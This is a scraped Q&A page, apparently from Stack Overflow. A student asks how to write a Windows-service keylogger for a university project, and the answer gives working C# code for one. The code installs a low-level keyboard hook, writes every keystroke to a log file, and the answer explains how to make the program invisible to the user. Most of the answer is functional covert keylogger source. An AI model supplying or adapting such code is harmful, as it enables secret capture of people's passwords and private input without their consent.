Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Windows Service Keylogger

I have an University project which requires to create some sort of keylogger with c#, I mean to get all the keyboard inputs from the user and put them in a file, the input which in this case is a text needs also to be encrypted. This application need to be a windows service, I'm new to windows services but I have successfully managed to create a windows service using Visual Studio 2015.The problem now is at the keylogger, I've searched for quite a long now but most keyloggers I've seen have been developed using windows forms and not windows services. I have this function:

protected override void OnStart(string[] args)
{
  System.IO.File.Create(AppDomain.CurrentDomain.BaseDirectory + "OnStart.txt");
}

What I have done here is that when the service starts it creates a new .txt file called Output at the directory of the application where all the inputs of the user are going to be saved or recorded.

Could someone help me or redirect me somewhere so I could create a simple keylogger using a windows service? I've managed to create a keylogger with windows forms using a timer which would save the data every second but using a windows service seems to be a bit hard for me.

like image 445
Bardh Mehmeti Avatar asked Aug 31 '25 16:08

Bardh Mehmeti


1 Answers

From this question it looks like it may not be possible to do from a service, for security reasons.

However, you could create a program which uses keybaord hooks and does not display any console or windows, meaning it will be hidden from the user (just like a service would).

To do this, first declare some fields:

private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;

private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

Then import these native methods:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, 
    LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
    IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

Create these methods, where HookCallback will handle any detected key presses (so write to file here uder the comment)

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
    {
        int vkCode = Marshal.ReadInt32(lParam);
        var keyName = Enum.GetName(typeof(Keys), vkCode);
        var path = @"C:\test\logfile.txt";

        // Handle the key press here
        var text = ((Keys)vkCode).ToString();
        File.AppendAllText(path, text);
    }

    return CallNextHookEx(_hookID, nCode, wParam, lParam);
}

SetHook basically subscribes to the keyboard hook for us:

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
    using (Process curProcess = Process.GetCurrentProcess())
    using (ProcessModule curModule = curProcess.MainModule)
    {
        return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
            GetModuleHandle(curModule.ModuleName), 0);
    }
}

Finally, add these lines to your Main method:

_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);

Now to make the program invisible, simply change the Output Type property to a Windows Application instead of a Console Application.

I hope this is helpul to you

like image 145
Bassie Avatar answered Sep 02 '25 04:09

Bassie